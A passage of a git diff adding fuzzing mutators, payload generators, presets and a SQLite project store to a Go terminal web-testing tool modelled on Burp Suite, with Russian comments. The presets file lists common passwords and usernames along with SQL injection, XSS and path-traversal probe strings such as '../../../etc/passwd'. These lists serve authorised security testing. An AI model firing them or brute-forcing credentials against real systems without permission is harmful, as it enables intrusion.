||||
"math/rand"
|
||||
)
|
||||
|
||||
// mutateFunc — одна стратегия мутации: берёт данные, возвращает новую
|
||||
// (не модифицирует исходный срез — воркеры работают конкурентно с общим
|
||||
// корпусом, in-place мутация была бы гонкой данных).
|
||||
type mutateFunc func(rng *rand.Rand, data []byte) []byte
|
||||
|
||||
var mutators = []mutateFunc{
|
||||
mutateBitFlip,
|
||||
mutateByteFlip,
|
||||
mutateArith,
|
||||
mutateInteresting,
|
||||
mutateBlockDelete,
|
||||
mutateBlockDuplicate,
|
||||
}
|
||||
|
||||
func mutateBitFlip(rng *rand.Rand, data []byte) []byte {
|
||||
if len(data) == 0 {
|
||||
return data
|
||||
}
|
||||
out := append([]byte(nil), data...)
|
||||
idx := rng.Intn(len(out))
|
||||
bit := rng.Intn(8)
|
||||
out[idx] ^= 1 << bit
|
||||
return out
|
||||
}
|
||||
|
||||
func mutateByteFlip(rng *rand.Rand, data []byte) []byte {
|
||||
if len(data) == 0 {
|
||||
return data
|
||||
}
|
||||
out := append([]byte(nil), data...)
|
||||
out[rng.Intn(len(out))] = byte(rng.Intn(256))
|
||||
return out
|
||||
}
|
||||
|
||||
// interestingBytes/16/32 — классический AFL-набор "граничных" значений:
|
||||
// нули, минус единица, границы знакового/беззнакового диапазона. Такие
|
||||
// значения статистически чаще ломают проверки длины/индексов, чем
|
||||
// случайный байт.
|
||||
var (
|
||||
interestingBytes = []byte{0x00, 0x01, 0x7f, 0x80, 0xff}
|
||||
interesting16 = []int16{0, 1, -1, 0x7fff, -0x8000, 0xff, 0x100}
|
||||
interesting32 = []int32{0, 1, -1, 0x7fffffff, -0x80000000, 0xffff, 0x10000}
|
||||
)
|
||||
|
||||
func mutateInteresting(rng *rand.Rand, data []byte) []byte {
|
||||
if len(data) == 0 {
|
||||
return data
|
||||
}
|
||||
out := append([]byte(nil), data...)
|
||||
switch rng.Intn(3) {
|
||||
case 0:
|
||||
out[rng.Intn(len(out))] = interestingBytes[rng.Intn(len(interestingBytes))]
|
||||
case 1:
|
||||
if len(out) >= 2 {
|
||||
idx := rng.Intn(len(out) - 1)
|
||||
v := interesting16[rng.Intn(len(interesting16))]
|
||||
binary.LittleEndian.PutUint16(out[idx:], uint16(v))
|
||||
}
|
||||
default:
|
||||
if len(out) >= 4 {
|
||||
idx := rng.Intn(len(out) - 3)
|
||||
v := interesting32[rng.Intn(len(interesting32))]
|
||||
binary.LittleEndian.PutUint32(out[idx:], uint32(v))
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// mutateArith — прибавляет/отнимает небольшое значение (1..35, тот же
|
||||
// диапазон, что ARITH_MAX в AFL) от случайного байта. Ловит off-by-one
|
||||
// и похожие арифметические баги, которые чистый bit-flip обычно не находит.
|
||||
func mutateArith(rng *rand.Rand, data []byte) []byte {
|
||||
if len(data) == 0 {
|
||||
return data
|
||||
}
|
||||
out := append([]byte(nil), data...)
|
||||
idx := rng.Intn(len(out))
|
||||
delta := byte(rng.Intn(35) + 1)
|
||||
if rng.Intn(2) == 0 {
|
||||
out[idx] += delta
|
||||
} else {
|
||||
out[idx] -= delta
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func mutateBlockDelete(rng *rand.Rand, data []byte) []byte {
|
||||
if len(data) < 2 {
|
||||
return data
|
||||
}
|
||||
start := rng.Intn(len(data))
|
||||
length := 1 + rng.Intn(len(data)-start)
|
||||
out := append([]byte(nil), data[:start]...)
|
||||
out = append(out, data[start+length:]...)
|
||||
return out
|
||||
}
|
||||
|
||||
func mutateBlockDuplicate(rng *rand.Rand, data []byte) []byte {
|
||||
if len(data) == 0 {
|
||||
return data
|
||||
}
|
||||
start := rng.Intn(len(data))
|
||||
length := 1 + rng.Intn(len(data)-start)
|
||||
block := data[start : start+length]
|
||||
insertAt := rng.Intn(len(data) + 1)
|
||||
out := append([]byte(nil), data[:insertAt]...)
|
||||
out = append(out, block...)
|
||||
out = append(out, data[insertAt:]...)
|
||||
return out
|
||||
}
|
||||
|
||||
// splice скрещивает два входа в случайной точке — классическая техника
|
||||
// "склеить два интересных сэмпла и посмотреть, что получится".
|
||||
func splice(rng *rand.Rand, a, b []byte) []byte {
|
||||
if len(a) == 0 || len(b) == 0 {
|
||||
return append([]byte(nil), a...)
|
||||
}
|
||||
n := len(a)
|
||||
if len(b) < n {
|
||||
n = len(b)
|
||||
}
|
||||
cut := rng.Intn(n)
|
||||
out := append([]byte(nil), a[:cut]...)
|
||||
out = append(out, b[cut:]...)
|
||||
return out
|
||||
}
|
||||
|
||||
// havoc — стадия из классического AFL, которая на практике находит
|
||||
// больше всего крашей: несколько случайных мутаций подряд за один проход,
|
||||
// иногда вперемешку со splice по другому сэмплу из корпуса.
|
||||
func havoc(rng *rand.Rand, data []byte, corpus [][]byte) []byte {
|
||||
out := append([]byte(nil), data...)
|
||||
rounds := 1 + rng.Intn(8)
|
||||
for i := 0; i < rounds; i++ {
|
||||
if len(corpus) > 1 && rng.Intn(4) == 0 {
|
||||
out = splice(rng, out, corpus[rng.Intn(len(corpus))])
|
||||
continue
|
||||
}
|
||||
out = mutators[rng.Intn(len(mutators))](rng, out)
|
||||
}
|
||||
return out
|
||||
}
|
||||
208
internal/payload/generator.go
Normal file
208
internal/payload/generator.go
Normal file
|
|
@ -0,0 +1,208 @@
|
|||
package payload
|
||||
|
||||
import "strconv"
|
||||
|
||||
// Generator — интерфейс источника payload'ов, чтобы легко
|
||||
// добавлять новые типы (wordlist, range, brute force, mutation).
|
||||
type Generator interface {
|
||||
// Next возвращает следующий payload и false, если генератор исчерпан.
|
||||
Next() (string, bool)
|
||||
// Reset позволяет переиспользовать генератор (напр. для sniper-режима,
|
||||
// где один и тот же генератор прогоняется по каждой точке вставки).
|
||||
Reset()
|
||||
// Len возвращает общее количество payload'ов, если оно известно заранее.
|
||||
Len() int
|
||||
}
|
||||
|
||||
// WordlistGenerator читает payload'ы построчно из слайса (загружен из файла).
|
||||
type WordlistGenerator struct {
|
||||
words []string
|
||||
pos int
|
||||
}
|
||||
|
||||
// NewWordlistGenerator создаёт генератор из уже загруженного списка строк.
|
||||
func NewWordlistGenerator(words []string) *WordlistGenerator {
|
||||
return &WordlistGenerator{words: words}
|
||||
}
|
||||
|
||||
func (g *WordlistGenerator) Next() (string, bool) {
|
||||
if g.pos >= len(g.words) {
|
||||
return "", false
|
||||
}
|
||||
w := g.words[g.pos]
|
||||
g.pos++
|
||||
return w, true
|
||||
}
|
||||
|
||||
func (g *WordlistGenerator) Reset() { g.pos = 0 }
|
||||
func (g *WordlistGenerator) Len() int { return len(g.words) }
|
||||
|
||||
// NumericRangeGenerator — для перебора числовых ID (IDOR и т.п.).
|
||||
type NumericRangeGenerator struct {
|
||||
current, from, to, step int
|
||||
}
|
||||
|
||||
// NewNumericRangeGenerator создаёт генератор чисел от from до to
|
||||
// включительно с заданным шагом.
|
||||
func NewNumericRangeGenerator(from, to, step int) *NumericRangeGenerator {
|
||||
return &NumericRangeGenerator{current: from, from: from, to: to, step: step}
|
||||
}
|
||||
|
||||
func (g *NumericRangeGenerator) Next() (string, bool) {
|
||||
if g.current > g.to {
|
||||
return "", false
|
||||
}
|
||||
v := g.current
|
||||
g.current += g.step
|
||||
return strconv.Itoa(v), true
|
||||
}
|
||||
|
||||
func (g *NumericRangeGenerator) Reset() { g.current = g.from }
|
||||
func (g *NumericRangeGenerator) Len() int {
|
||||
if g.step <= 0 {
|
||||
return 0
|
||||
}
|
||||
return (g.to-g.from)/g.step + 1
|
||||
}
|
||||
|
||||
// ExtensionGenerator оборачивает базовый генератор и добавляет к каждому
|
||||
// его слову варианты с расширениями — аналог -e у ffuf ("-e .php,.html"
|
||||
// превращает "admin" в "admin", "admin.php", "admin.html"). Голое слово
|
||||
// без расширения выдаётся первым — тот же порядок, что у ffuf.
|
||||
type ExtensionGenerator struct {
|
||||
base Generator
|
||||
extensions []string
|
||||
|
||||
currentWord string
|
||||
// extIdx == -1 означает "нужно новое базовое слово"; иначе — индекс
|
||||
// следующего расширения, которое нужно приклеить к currentWord.
|
||||
extIdx int
|
||||
exhausted bool
|
||||
}
|
||||
|
||||
// NewExtensionGenerator оборачивает base, добавляя extensions (каждая
|
||||
// строка — расширение вида ".php"; ведущая точка добавляется автоматически
|
||||
// вызывающим кодом, сюда передаётся уже готовая строка).
|
||||
func NewExtensionGenerator(base Generator, extensions []string) *ExtensionGenerator {
|
||||
g := &ExtensionGenerator{base: base, extensions: extensions}
|
||||
g.Reset()
|
||||
return g
|
||||
}
|
||||
|
||||
func (g *ExtensionGenerator) Reset() {
|
||||
g.base.Reset()
|
||||
g.extIdx = -1
|
||||
g.exhausted = false
|
||||
}
|
||||
|
||||
func (g *ExtensionGenerator) Next() (string, bool) {
|
||||
if g.exhausted {
|
||||
return "", false
|
||||
}
|
||||
if g.extIdx == -1 {
|
||||
w, ok := g.base.Next()
|
||||
if !ok {
|
||||
g.exhausted = true
|
||||
return "", false
|
||||
}
|
||||
g.currentWord = w
|
||||
g.extIdx = 0
|
||||
return w, true // сначала голое слово без расширения
|
||||
}
|
||||
if g.extIdx < len(g.extensions) {
|
||||
ext := g.extensions[g.extIdx]
|
||||
g.extIdx++
|
||||
return g.currentWord + ext, true
|
||||
}
|
||||
// расширения на это слово кончились — переходим к следующему базовому
|
||||
g.extIdx = -1
|
||||
return g.Next()
|
||||
}
|
||||
|
||||
func (g *ExtensionGenerator) Len() int {
|
||||
return g.base.Len() * (len(g.extensions) + 1) // +1 за голое слово без расширения
|
||||
}
|
||||
|
||||
// BruteForceGenerator перебирает все строки над заданным алфавитом
|
||||
// длиной от minLen до maxLen включительно — аналог "Brute forcer"
|
||||
// payload-типа в Burp Intruder. Используется как заготовками "буквы
|
||||
// алфавита"/"цифры и буквы", так и напрямую через spec "brute:<алфавит>:<min>:<max>".
|
||||
type BruteForceGenerator struct {
|
||||
charset []rune
|
||||
minLen int
|
||||
maxLen int
|
||||
|
||||
length int
|
||||
idx []int // текущая комбинация индексов в charset для текущей длины
|
||||
done bool
|
||||
}
|
||||
|
||||
// NewBruteForceGenerator создаёт генератор по алфавиту charset для длин
|
||||
// от minLen до maxLen включительно.
|
||||
func NewBruteForceGenerator(charset string, minLen, maxLen int) *BruteForceGenerator {
|
||||
g := &BruteForceGenerator{charset: []rune(charset), minLen: minLen, maxLen: maxLen}
|
||||
g.Reset()
|
||||
return g
|
||||
}
|
||||
|
||||
func (g *BruteForceGenerator) Reset() {
|
||||
g.length = g.minLen
|
||||
if g.length < 1 {
|
||||
g.length = 1
|
||||
}
|
||||
g.idx = make([]int, g.length)
|
||||
g.done = g.minLen > g.maxLen || len(g.charset) == 0
|
||||
}
|
||||
|
||||
func (g *BruteForceGenerator) Next() (string, bool) {
|
||||
if g.done {
|
||||
return "", false
|
||||
}
|
||||
|
||||
runes := make([]rune, g.length)
|
||||
for i, ci := range g.idx {
|
||||
runes[i] = g.charset[ci]
|
||||
}
|
||||
result := string(runes)
|
||||
|
||||
// Одометр: продвигаем индексы для следующего вызова, перенос вправо
|
||||
// налево, как в engine.odometer для Cluster Bomb — тот же принцип,
|
||||
// просто в одном измерении вместо нескольких точек вставки.
|
||||
pos := g.length - 1
|
||||
for pos >= 0 {
|
||||
g.idx[pos]++
|
||||
if g.idx[pos] < len(g.charset) {
|
||||
break
|
||||
}
|
||||
g.idx[pos] = 0
|
||||
pos--
|
||||
}
|
||||
if pos < 0 {
|
||||
g.length++
|
||||
if g.length > g.maxLen {
|
||||
g.done = true
|
||||
} else {
|
||||
g.idx = make([]int, g.length)
|
||||
}
|
||||
}
|
||||
|
||||
return result, true
|
||||
}
|
||||
|
||||
// Len — суммарное количество комбинаций по всем длинам от minLen до maxLen.
|
||||
// Растёт экспоненциально с длиной и размером алфавита — для широких
|
||||
// алфавитов и maxLen больше 3-4 это может быть очень много; вызывающий
|
||||
// код (например, TUI) должен относиться к этому числу как к
|
||||
// предупреждению, а не просто к метрике прогресса.
|
||||
func (g *BruteForceGenerator) Len() int {
|
||||
n := len(g.charset)
|
||||
total := 0
|
||||
for l := g.minLen; l <= g.maxLen; l++ {
|
||||
p := 1
|
||||
for i := 0; i < l; i++ {
|
||||
p *= n
|
||||
}
|
||||
total += p
|
||||
}
|
||||
return total
|
||||
}
|
||||
114
internal/payload/presets.go
Normal file
114
internal/payload/presets.go
Normal file
|
|
@ -0,0 +1,114 @@
|
|||
package payload
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Preset — фабрика встроенного генератора по короткому имени, чтобы
|
||||
// в CLI/TUI можно было писать "preset:numbers-small" вместо ручного
|
||||
// wordlist-файла — но не вместо него: preset — это ещё один вариант
|
||||
// spec наравне с wordlist:/range:, а не замена. Свои словари как
|
||||
// работали через wordlist:<путь>, так и продолжают работать.
|
||||
type Preset struct {
|
||||
Name string
|
||||
Description string
|
||||
New func() Generator
|
||||
}
|
||||
|
||||
var presets = []Preset{
|
||||
{"numbers-small", "Числа 0-100", func() Generator {
|
||||
return NewNumericRangeGenerator(0, 100, 1)
|
||||
}},
|
||||
{"numbers-large", "Числа 0-9999", func() Generator {
|
||||
return NewNumericRangeGenerator(0, 9999, 1)
|
||||
}},
|
||||
{"alpha-lower", "Строчные буквы a-z, длина 1-2", func() Generator {
|
||||
return NewBruteForceGenerator("abcdefghijklmnopqrstuvwxyz", 1, 2)
|
||||
}},
|
||||
{"alpha-upper", "Заглавные буквы A-Z, длина 1-2", func() Generator {
|
||||
return NewBruteForceGenerator("ABCDEFGHIJKLMNOPQRSTUVWXYZ", 1, 2)
|
||||
}},
|
||||
{"alpha-mixed", "Буквы обоих регистров, длина 1-2", func() Generator {
|
||||
return NewBruteForceGenerator("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", 1, 2)
|
||||
}},
|
||||
{"alnum", "Буквы + цифры, длина 1-2", func() Generator {
|
||||
return NewBruteForceGenerator("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", 1, 2)
|
||||
}},
|
||||
{"common-usernames", "Частые имена пользователей", func() Generator {
|
||||
return NewWordlistGenerator(commonUsernames)
|
||||
}},
|
||||
{"common-passwords", "Частые пароли", func() Generator {
|
||||
return NewWordlistGenerator(commonPasswords)
|
||||
}},
|
||||
{"sqli-probes", "Базовые SQLi-пробники", func() Generator {
|
||||
return NewWordlistGenerator(sqliProbes)
|
||||
}},
|
||||
{"xss-probes", "Базовые XSS-пробники", func() Generator {
|
||||
return NewWordlistGenerator(xssProbes)
|
||||
}},
|
||||
{"path-traversal", "Path traversal пробники", func() Generator {
|
||||
return NewWordlistGenerator(pathTraversalProbes)
|
||||
}},
|
||||
}
|
||||
|
||||
// PresetNames возвращает имена всех встроенных заготовок в порядке
|
||||
// объявления — используется и для валидации, и для циклического обзора
|
||||
// в TUI (ctrl+l).
|
||||
func PresetNames() []string {
|
||||
names := make([]string, len(presets))
|
||||
for i, p := range presets {
|
||||
names[i] = p.Name
|
||||
}
|
||||
return names
|
||||
}
|
||||
|
||||
// PresetDescription возвращает человекочитаемое описание заготовки,
|
||||
// пустую строку — если имя неизвестно.
|
||||
func PresetDescription(name string) string {
|
||||
for _, p := range presets {
|
||||
if p.Name == name {
|
||||
return p.Description
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// NewFromPreset создаёт генератор по имени встроенной заготовки.
|
||||
func NewFromPreset(name string) (Generator, error) {
|
||||
for _, p := range presets {
|
||||
if p.Name == name {
|
||||
return p.New(), nil
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("неизвестная заготовка %q (доступные: %s)", name, strings.Join(PresetNames(), ", "))
|
||||
}
|
||||
|
||||
// Встроенные списки — короткие, ознакомительные. Для серьёзного перебора
|
||||
// (rockyou и подобные) по-прежнему используется свой словарь через
|
||||
// wordlist:<путь> — заготовки не пытаются его заменить.
|
||||
var commonUsernames = []string{
|
||||
"admin", "administrator", "root", "user", "test",
|
||||
"guest", "demo", "support", "info", "webmaster",
|
||||
}
|
||||
|
||||
var commonPasswords = []string{
|
||||
"password", "123456", "admin", "letmein", "qwerty",
|
||||
"password1", "12345678", "admin123", "root", "changeme",
|
||||
}
|
||||
|
||||
var sqliProbes = []string{
|
||||
`'`, `"`, `' OR '1'='1`, `' OR '1'='1' --`, `" OR "1"="1`,
|
||||
`1' AND '1'='1`, `' UNION SELECT NULL--`, `1 OR 1=1`, `admin'--`,
|
||||
}
|
||||
|
||||
var xssProbes = []string{
|
||||
`<script>alert(1)</script>`, `"><script>alert(1)</script>`,
|
||||
`'><img src=x onerror=alert(1)>`, `<img src=x onerror=alert(1)>`,
|
||||
`javascript:alert(1)`, `"><svg onload=alert(1)>`,
|
||||
}
|
||||
|
||||
var pathTraversalProbes = []string{
|
||||
`../`, `../../`, `../../../etc/passwd`,
|
||||
`..\..\..\windows\win.ini`, `%2e%2e%2f`, `....//....//etc/passwd`,
|
||||
}
|
||||
65
internal/payload/smart.go
Normal file
65
internal/payload/smart.go
Normal file
|
|
@ -0,0 +1,65 @@
|
|||
package payload
|
||||
|
||||
import "strings"
|
||||
|
||||
// SmartSuggest возвращает имена заготовок (см. Preset), отсортированные
|
||||
// по релевантности для параметра с именем paramName. Это эвристика по
|
||||
// подстрокам в имени — тот же принцип, что и "умная" генерация в Burp:
|
||||
// там это тоже не ИИ, а сопоставление по имени/типу параметра, просто
|
||||
// более развитое. Если контекст не распознан, возвращает разведочный
|
||||
// набор общего назначения вместо пустого списка — так вызывающему коду
|
||||
// не нужно отдельно обрабатывать случай "ничего не найдено".
|
||||
func SmartSuggest(paramName string) []string {
|
||||
name := strings.ToLower(paramName)
|
||||
var suggestions []string
|
||||
|
||||
add := func(names ...string) {
|
||||
suggestions = append(suggestions, names...)
|
||||
}
|
||||
|
||||
if containsAny(name, "id", "num", "count", "page", "offset", "limit") {
|
||||
add("numbers-small", "numbers-large")
|
||||
}
|
||||
if containsAny(name, "user", "login", "account") {
|
||||
add("common-usernames")
|
||||
}
|
||||
if containsAny(name, "pass", "pwd", "secret") {
|
||||
add("common-passwords")
|
||||
}
|
||||
if containsAny(name, "search", "query", "comment", "message", "name", "text") {
|
||||
add("xss-probes", "sqli-probes")
|
||||
}
|
||||
if containsAny(name, "file", "path", "dir", "folder", "template", "include") {
|
||||
add("path-traversal")
|
||||
}
|
||||
if containsAny(name, "token", "session", "key", "code") {
|
||||
add("alnum")
|
||||
}
|
||||
|
||||
if len(suggestions) == 0 {
|
||||
add("sqli-probes", "xss-probes", "numbers-small")
|
||||
}
|
||||
|
||||
return dedupe(suggestions)
|
||||
}
|
||||
|
||||
func containsAny(s string, subs ...string) bool {
|
||||
for _, sub := range subs {
|
||||
if strings.Contains(s, sub) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func dedupe(in []string) []string {
|
||||
seen := make(map[string]bool, len(in))
|
||||
out := make([]string, 0, len(in))
|
||||
for _, s := range in {
|
||||
if !seen[s] {
|
||||
seen[s] = true
|
||||
out = append(out, s)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
59
internal/project/lastpath.go
Normal file
59
internal/project/lastpath.go
Normal file
|
|
@ -0,0 +1,59 @@
|
|||
package project
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// lastPathFile — файл вне самой БД проекта, хранит путь к последнему
|
||||
// открытому проекту. Не может жить внутри SQLite-файла проекта по
|
||||
// очевидной причине: нужно знать путь ДО того, как что-либо открыто.
|
||||
func lastPathFile() (string, error) {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("не удалось определить домашнюю директорию: %w", err)
|
||||
}
|
||||
dir := filepath.Join(home, ".burterm")
|
||||
if err := os.MkdirAll(dir, 0o700); err != nil {
|
||||
return "", fmt.Errorf("не удалось создать %s: %w", dir, err)
|
||||
}
|
||||
return filepath.Join(dir, "last-project"), nil
|
||||
}
|
||||
|
||||
// SaveLastPath запоминает path как последний открытый проект — вызывается
|
||||
// после каждого успешного Open, чтобы при следующем запуске TUI мог его
|
||||
// подхватить сам, без необходимости вводить путь заново.
|
||||
func SaveLastPath(path string) error {
|
||||
f, err := lastPathFile()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.WriteFile(f, []byte(path), 0o600); err != nil {
|
||||
return fmt.Errorf("сохранение последнего пути проекта: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// LoadLastPath возвращает путь последнего открытого проекта и false,
|
||||
// если такого файла ещё нет (первый запуск, или проект ни разу не
|
||||
// открывали) — это не ошибка.
|
||||
func LoadLastPath() (string, bool, error) {
|
||||
f, err := lastPathFile()
|
||||
if err != nil {
|
||||
return "", false, err
|
||||
}
|
||||
b, err := os.ReadFile(f)
|
||||
if os.IsNotExist(err) {
|
||||
return "", false, nil
|
||||
}
|
||||
if err != nil {
|
||||
return "", false, fmt.Errorf("чтение последнего пути проекта: %w", err)
|
||||
}
|
||||
path := strings.TrimSpace(string(b))
|
||||
if path == "" {
|
||||
return "", false, nil
|
||||
}
|
||||
return path, true, nil
|
||||
}
|
||||
71
internal/project/query.go
Normal file
71
internal/project/query.go
Normal file
|
|
@ -0,0 +1,71 @@
|
|||
package project
|
||||
|
||||
import "strings"
|
||||
|
||||
// ParseQuery разбирает строку поиска в духе GitHub/Gmail-фильтров:
|
||||
// токены вида "key:value" распознаются как поля Filter (host, method,
|
||||
// status, color, minlen, maxlen), всё остальное склеивается и идёт
|
||||
// в полнотекстовый запрос. Так один текстовый инпут в TUI закрывает
|
||||
// и структурированную фильтрацию, и полнотекстовый поиск, без десятка
|
||||
// отдельных полей ввода на экране.
|
||||
//
|
||||
// Пример: "host:example.com method:POST status:200-299 color:red токен сессии"
|
||||
// даёт Filter{Host: "example.com", Method: "POST", Status: "200-299",
|
||||
// ColorLabel: "red", FTSQuery: "токен сессии"}.
|
||||
//
|
||||
// Известный нюанс: если пользователь наберёт в свободнотекстовой части
|
||||
// что-то похожее на "слово:значение" с неизвестным ключом (не из
|
||||
// распознаваемого набора), этот токен уйдёт в FTSQuery как есть — а
|
||||
// FTS5 сам поддерживает синтаксис column-filter с двоеточием, так что
|
||||
// в редких случаях это может интерпретироваться иначе, чем ожидается.
|
||||
// Осознанный компромисс ради простоты, а не баг, который стоит чинить
|
||||
// экранированием на каждый чих.
|
||||
func ParseQuery(q string) Filter {
|
||||
var f Filter
|
||||
var ftsWords []string
|
||||
|
||||
for _, tok := range strings.Fields(q) {
|
||||
idx := strings.Index(tok, ":")
|
||||
if idx <= 0 {
|
||||
ftsWords = append(ftsWords, tok)
|
||||
continue
|
||||
}
|
||||
|
||||
key := strings.ToLower(tok[:idx])
|
||||
val := tok[idx+1:]
|
||||
|
||||
switch key {
|
||||
case "host":
|
||||
f.Host = val
|
||||
case "method":
|
||||
f.Method = val
|
||||
case "status":
|
||||
f.Status = val
|
||||
case "color":
|
||||
f.ColorLabel = ColorLabel(val)
|
||||
case "minlen":
|
||||
f.MinLength = parseInt64(val)
|
||||
case "maxlen":
|
||||
f.MaxLength = parseInt64(val)
|
||||
default:
|
||||
ftsWords = append(ftsWords, tok)
|
||||
}
|
||||
}
|
||||
|
||||
f.FTSQuery = strings.Join(ftsWords, " ")
|
||||
return f
|
||||
}
|
||||
|
||||
// parseInt64 — терпимый разбор числа: некорректный ввод просто даёт 0
|
||||
// (что для minlen/maxlen эквивалентно "фильтр не задан"), без лишней
|
||||
// возни с обработкой ошибки в вызывающем коде ради этого частного случая.
|
||||
func parseInt64(s string) int64 {
|
||||
var n int64
|
||||
for _, r := range s {
|
||||
if r < '0' || r > '9' {
|
||||
return 0
|
||||
}
|
||||
n = n*10 + int64(r-'0')
|
||||
}
|
||||
return n
|
||||
}
|
||||
341
internal/project/store.go
Normal file
341
internal/project/store.go
Normal file
|
|
@ -0,0 +1,341 @@
|
|||
// Package project реализует персистентное хранение сессии burterm —
|
||||
// перехваченные и отправленные запросы с полнотекстовым поиском и
|
||||
// фильтрацией. Один файл SQLite = один проект, та же модель, что у
|
||||
// файлов .burp: открыл, поработал, закрыл, файл можно скопировать
|
||||
// или отправить коллеге.
|
||||
//
|
||||
// Первая внешняя зависимость проекта за пределами bubbletea-стека —
|
||||
// modernc.org/sqlite (чистый Go, без cgo). См. комментарий в go.mod
|
||||
// про то, что я не мог скачать/скомпилировать её в этом окружении.
|
||||
package project
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
_ "modernc.org/sqlite"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/engine"
|
||||
)
|
||||
|
||||
// ColorLabel — пользовательская цветовая метка запроса, независимая от
|
||||
// автоматической раскраски по HTTP-статусу в TUI (см. internal/tui/style.go).
|
||||
// Пустая строка — метки нет.
|
||||
type ColorLabel string
|
||||
|
||||
const (
|
||||
ColorNone ColorLabel = ""
|
||||
ColorRed ColorLabel = "red"
|
||||
ColorOrange ColorLabel = "orange"
|
||||
ColorYellow ColorLabel = "yellow"
|
||||
ColorGreen ColorLabel = "green"
|
||||
ColorCyan ColorLabel = "cyan"
|
||||
ColorBlue ColorLabel = "blue"
|
||||
ColorPurple ColorLabel = "purple"
|
||||
)
|
||||
|
||||
// AllColorLabels — для циклического обзора в TUI (клавиша "c" на
|
||||
// выбранной записи), в порядке цикла.
|
||||
var AllColorLabels = []ColorLabel{
|
||||
ColorNone, ColorRed, ColorOrange, ColorYellow, ColorGreen, ColorCyan, ColorBlue, ColorPurple,
|
||||
}
|
||||
|
||||
// NextColor возвращает следующую метку по кругу — используется для
|
||||
// циклического переключения по одной клавише вместо выбора из списка.
|
||||
func NextColor(c ColorLabel) ColorLabel {
|
||||
for i, v := range AllColorLabels {
|
||||
if v == c {
|
||||
return AllColorLabels[(i+1)%len(AllColorLabels)]
|
||||
}
|
||||
}
|
||||
return AllColorLabels[0]
|
||||
}
|
||||
|
||||
// Record — одна сохранённая транзакция запрос/ответ.
|
||||
type Record struct {
|
||||
ID int64
|
||||
Source string // "proxy" | "repeater" | "manual" — откуда запись попала в проект
|
||||
Host string
|
||||
Method string
|
||||
URL string
|
||||
Status int
|
||||
ContentLength int64
|
||||
ColorLabel ColorLabel
|
||||
RawRequest string
|
||||
RawResponse string
|
||||
CreatedAt time.Time
|
||||
UpdatedAt time.Time
|
||||
}
|
||||
|
||||
// schema создаёт таблицу запросов, индексы под самые частые фильтры
|
||||
// (host/method/status/цвет) и FTS5-индекс с триггерами синхронизации.
|
||||
// "content='requests', content_rowid='id'" делает FTS5-таблицу внешней
|
||||
// (external content) — сам текст хранится один раз в requests, а FTS5
|
||||
// держит только инвертированный индекс, что экономит место на больших
|
||||
// проектах по сравнению с обычной (дублирующей контент) FTS5-таблицей.
|
||||
const schema = `
|
||||
CREATE TABLE IF NOT EXISTS requests (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
source TEXT NOT NULL DEFAULT '',
|
||||
host TEXT NOT NULL DEFAULT '',
|
||||
method TEXT NOT NULL DEFAULT '',
|
||||
url TEXT NOT NULL DEFAULT '',
|
||||
status INTEGER NOT NULL DEFAULT 0,
|
||||
content_length INTEGER NOT NULL DEFAULT 0,
|
||||
color_label TEXT NOT NULL DEFAULT '',
|
||||
raw_request TEXT NOT NULL DEFAULT '',
|
||||
raw_response TEXT NOT NULL DEFAULT '',
|
||||
created_at INTEGER NOT NULL,
|
||||
updated_at INTEGER NOT NULL
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_requests_host ON requests(host);
|
||||
CREATE INDEX IF NOT EXISTS idx_requests_method ON requests(method);
|
||||
CREATE INDEX IF NOT EXISTS idx_requests_status ON requests(status);
|
||||
CREATE INDEX IF NOT EXISTS idx_requests_color ON requests(color_label);
|
||||
|
||||
CREATE VIRTUAL TABLE IF NOT EXISTS requests_fts USING fts5(
|
||||
raw_request, raw_response,
|
||||
content='requests', content_rowid='id'
|
||||
);
|
||||
|
||||
CREATE TRIGGER IF NOT EXISTS requests_ai AFTER INSERT ON requests BEGIN
|
||||
INSERT INTO requests_fts(rowid, raw_request, raw_response)
|
||||
VALUES (new.id, new.raw_request, new.raw_response);
|
||||
END;
|
||||
|
||||
CREATE TRIGGER IF NOT EXISTS requests_ad AFTER DELETE ON requests BEGIN
|
||||
INSERT INTO requests_fts(requests_fts, rowid, raw_request, raw_response)
|
||||
VALUES('delete', old.id, old.raw_request, old.raw_response);
|
||||
END;
|
||||
|
||||
CREATE TRIGGER IF NOT EXISTS requests_au AFTER UPDATE ON requests BEGIN
|
||||
INSERT INTO requests_fts(requests_fts, rowid, raw_request, raw_response)
|
||||
VALUES('delete', old.id, old.raw_request, old.raw_response);
|
||||
INSERT INTO requests_fts(rowid, raw_request, raw_response)
|
||||
VALUES (new.id, new.raw_request, new.raw_response);
|
||||
END;
|
||||
|
||||
CREATE TABLE IF NOT EXISTS meta (
|
||||
key TEXT PRIMARY KEY,
|
||||
value TEXT NOT NULL
|
||||
);
|
||||
`
|
||||
|
||||
// Store — открытый файл проекта.
|
||||
type Store struct {
|
||||
db *sql.DB
|
||||
Path string
|
||||
}
|
||||
|
||||
// Open открывает (или создаёт, если не существует) файл проекта и
|
||||
// применяет схему. MaxOpenConns намеренно зажат до 1: SQLite не любит
|
||||
// конкурентных писателей (без явного включения WAL-режима это быстро
|
||||
// кончается ошибками "database is locked"), а для личного инструмента
|
||||
// с редкими записями последовательный доступ через один коннекшен —
|
||||
